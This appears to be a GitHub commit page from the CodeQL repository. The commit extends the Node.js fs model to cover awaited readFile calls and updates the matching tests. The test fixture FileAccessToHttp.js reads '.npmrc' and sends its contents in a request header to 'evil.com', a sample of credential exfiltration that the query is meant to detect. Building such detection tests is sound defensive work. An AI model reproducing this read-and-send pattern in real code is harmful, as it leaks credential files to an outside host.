Skip to content

Commit fdea22f

Browse files
authored
Merge pull request github#19129 from Napalys/js/readfile_async
JS: Add support for `async` `readFile`
2 parents 261d28a + d771a91 commit fdea22f

File tree

4 files changed

+39
-1
lines changed

4 files changed

+39
-1
lines changed
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
---
2+
category: minorAnalysis
3+
---
4+
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.

javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -599,7 +599,7 @@ module NodeJSLib {
599599
override DataFlow::Node getADataNode() {
600600
if methodName.matches("%Sync")
601601
then result = this
602-
else
602+
else (
603603
exists(int i, string paramName | fsDataParam(methodName, i, paramName) |
604604
if paramName = "callback"
605605
then
@@ -610,6 +610,12 @@ module NodeJSLib {
610610
)
611611
else result = this.getArgument(i)
612612
)
613+
or
614+
exists(AwaitExpr await |
615+
this.getEnclosingExpr() = await.getOperand() and
616+
result = DataFlow::valueNode(await)
617+
)
618+
)
613619
}
614620
}
615621

javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
#select
22
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
3+
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
34
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
45
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
56
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
@@ -13,6 +14,10 @@ edges
1314
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance | |
1415
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | provenance | |
1516
| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance | |
17+
| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance | |
18+
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
19+
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
20+
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
1621
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
1722
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
1823
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
@@ -64,6 +69,11 @@ nodes
6469
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | semmle.label | {\\n hos ... ent }\\n} |
6570
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
6671
| FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content |
72+
| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content |
73+
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") |
74+
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
75+
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
76+
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
6777
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
6878
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
6979
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |

javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,3 +8,21 @@ https.get({
88
method: "GET",
99
headers: { Referer: content }
1010
}, () => { }); // $ Alert[js/file-access-to-http]
11+
12+
const fsp = require("fs").promises;
13+
14+
(async function sendRequest() {
15+
try {
16+
const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
17+
18+
https.get({
19+
hostname: "evil.com",
20+
path: "/upload",
21+
method: "GET",
22+
headers: { Referer: content }
23+
}, () => { }); // $ Alert[js/file-access-to-http]
24+
25+
} catch (error) {
26+
console.error("Error reading file:", error);
27+
}
28+
})();

0 commit comments

Comments
 (0)